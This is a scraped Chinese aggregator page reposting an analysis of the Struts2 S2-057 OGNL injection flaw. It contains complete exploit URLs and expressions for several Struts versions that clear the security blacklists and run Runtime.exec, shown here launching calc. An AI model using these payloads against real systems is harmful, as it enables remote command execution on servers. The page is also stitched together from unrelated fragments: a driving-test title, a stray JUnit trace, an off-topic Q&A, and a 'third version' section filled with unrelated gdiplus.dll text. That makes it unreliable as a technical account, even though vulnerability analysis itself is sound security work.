b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

struts2中ognl表达式 各种合集_struts2 ognl 正则表达式_struts2 ognl表达式(2)

电脑杂谈  发布时间:2019-07-21 13:06:29  来源:网络整理

其中_memberAccess是访问权限控制,比较重要。

设置访问权限

public void setMemberAccess(MemberAccess value) { if (value == null) { throw new IllegalArgumentException("cannot set MemberAccess to null"); }
    _memberAccess = value;
} 

保留属性和_values一起组成如下图

3、单步调试ognl表达式

为了调试的方便,确认表达式哪步成功哪步不成功,所以要找能够观察每个表达式结果的地方。由于要再执行真正的表示之前要对参数进行调整、检测表达式。所以到真正执行之前调用之前有几层栈。

ASTChain.getValueBody(OgnlContext, Object) line: 141 ASTChain(SimpleNode).evaluateGetValueBody(OgnlContext, Object) line: 212 ASTChain(SimpleNode).getValue(OgnlContext, Object) line: 258 Ognl.getValue(Object, Map, Object, Class) line: 494 Ognl.getValue(String, Map, Object, Class) line: 596 Ognl.getValue(String, Map, Object) line: 566 Temp.main(String[]) line: 48 

真正调用是在ASTChain.getValueBody函数之中,里面有for循环是一个重要标识,通过遍历执行所有表达式。

4、 struts2环境下的OgnlContext

那么struts2框架会给OgnlContext设置哪些context和root?

这个HashMap中存在链表,如上图所示,所以想了解所有内容,需要点开HashMap中的next查看。

_root里面存储着着Struts2 ActionContext,值为Test,说明访问的是Test Action。

_value里面存储着session,parameters等ValueStack内容。

0x02 S2-057exp分析

以S2-057的exp为列进行分析,S2-057可以分成三个版本。

1、第一个最简单的版本

最简单的版本是以struts-2.3.24为列。

打开如下url,选用弹出计算器的exp,比较容易观察是否执行成功,是否跑飞了。

:8070/Test/${(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/test

struts2 ognl表达式_struts2 ognl 正则表达式_struts2中ognl表达式 各种合集

下面的表达式与开始的helloworld不同的是,这里多了${},因为

atorg.junit.runners.parentrunner$2.evaluate(parentrunner.java:184)。at org.junit.internal.runners.statements.runafters.evaluate(runafters.java:30)。at org.junit.internal.runners.statements.runbefores.evaluate(runbefores.java:28)。

是以$或%作为限定符进行解析。

我们期待的计算器并没有弹出。这时候动态调试+开发者模式的好处显示出来了,在console打印了

十月 09, 2018 9:29:36 下午 com.opensymphony.xwork2.ognl.SecurityMemberAccess warn
警告: Target class [class java.lang.Runtime] is excluded! 

对SecurityMemberAccess类中弹出警告信息地方进行下断点,看到上一层isMethodAccessible会根据context的_memberAccess对象,调用相应对象的isAccessible方法,可以看到这里调用的是com.opensymphony.xwork2.ognl.SecurityMemberAccess类的isAccessible方法。

可以将_memberAccess中的com.opensymphony.xwork2.ognl.SecurityMemberAccess对象覆盖成ognl.DefaultMemberAccess,因为xwork2自身对ognl的安全访问类的一些方法进行了重写,实现了自己的权限控制防护。但是ognl从helloworld看到是可以执行命令,没有防护。

在S2-057中,struts-2.3.24的exp如下。

:8070/Test/%25{(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/test

经过测试2.3.20~2.3.29都是可以用

2、第二个版本

范围是:2.3.30~2.5.10,以struts-2.3.30为列。

执行上面的exp还是会报class [class java.lang.Runtime] is excluded!,和之前的结果对比一下,通过下面的截图可以看到_memberAccess还是com.opensymphony.xwork2.ognl.SecurityMemberAccess,不过在_value中增加了_memberAccess=ognl.DefaultMemberAccess@5d6edd4f。

那我们单步跟踪一下(这里单步调试毕竟多,可以通过栈的刷新速度和右边的变量重新还原到上次跑飞的地方),这个覆盖为什么没有成功。通过单步跟踪发现,ognl并没有将_memberAccess纳入RESERVED_KEYSMap中,导致被当成普通的属性进行赋值了。

这里不能直接#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS进行对象覆盖,OgnlValueStack使用OgnlUtil.createDefaultContext进行创建_memberAccess默认属性,以及OgnlUtil.excludedClasses、excludedPackageNamePatterns、excludedPackageNames存储着黑名单struts2中ognl表达式 各种合集,不过com.opensymphony.xwork2.ognl.OgnlUtil.getExcludedxxxxx()能够获取到这些私有属性集合。

为了获取到OgnlUtil对象,使用了com.opensymphony.xwork2.inject.ContainerImpl.getInstance进行实例化。

获取OgnlUtil对象后,然后clear方法将黑名单清除掉。如果直接调用setMemberAccess会检测包ognl在黑名单中。最终exp如下

struts2中ognl表达式 各种合集_struts2 ognl表达式_struts2 ognl 正则表达式

${(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23cr=%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))} 

struts-2.3.34这个版本是一个异数,使用上面的exp无法弹出计算器。

通过单步调试发现,get方法无法获取到保留属性context,因为在这个版本中,ognl移除了context属性struts2中ognl表达式 各种合集,不在作为保留属性。所以导致无法获取到context。

答:可以先从request中得到valuestack,再从valuestack获得context,再从context中用[]的方式获取。1) valuestack 可以用 request.getattribute(“struts.valuestack”) 取得的一个com.opensymphony.xwork2.util.ognlvaluestack 实例,它实现为一个栈,有peek()、pop()、push(obj) 方法。个人看法,action context 是在action中通过actionsupport类来获取到,主要作用是获取request之类的对象,然后valuestack和stack context都是为了使用ognl,其中value stack 是stack context的根对象,所以我们在jsp页面中访问value stack的内容时,是不用加#,而如果是访问stack context的其他对象则要加上#。

request={struts.valueStack=com.opensymphony.xwork2.ognl.OgnlValueStack@3923c6df, struts.actionMapping=ActionMapping{name='test', namespace='/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cr=#context['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}', method='null', extension='null', params=null, result=null}, __cleanup_recursion_counter=1} 

所以exp为

${(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))} 
第三个版本

数据源更新日期为:2012.03.12,数据总数250529本版说明(之前版本所做修改就不再重复了):注意:此版本换用的cm官方的device配置。此时用户安装了一个新软件,这个软件里面如果有打包 gdiplus.dll 版本的话,那软件运行时候所使用的 gdiplus.dll 版本与软件开发测试时候所使用的版本就是一致的,这样就可以把软件运行时候受漏洞影响的可能性降到最低。安装的时候可以修改安装路径到d盘,然后注意一点是可以将最后一项“配置环境变量”勾选上(默认是不选择的),这样就不用手动配置环境变量了。


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-114616-2.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    • 张嘉男
      张嘉男

      霉菌给了中国加大岛礁建设的绝佳良机

    • 卢玲玲
      卢玲玲

      台湾执政者也是明白之人

    • 刘升
      刘升

      大家想想在中国有几个做生意的敢像他这样说话的

    热点图片
    拼命载入中...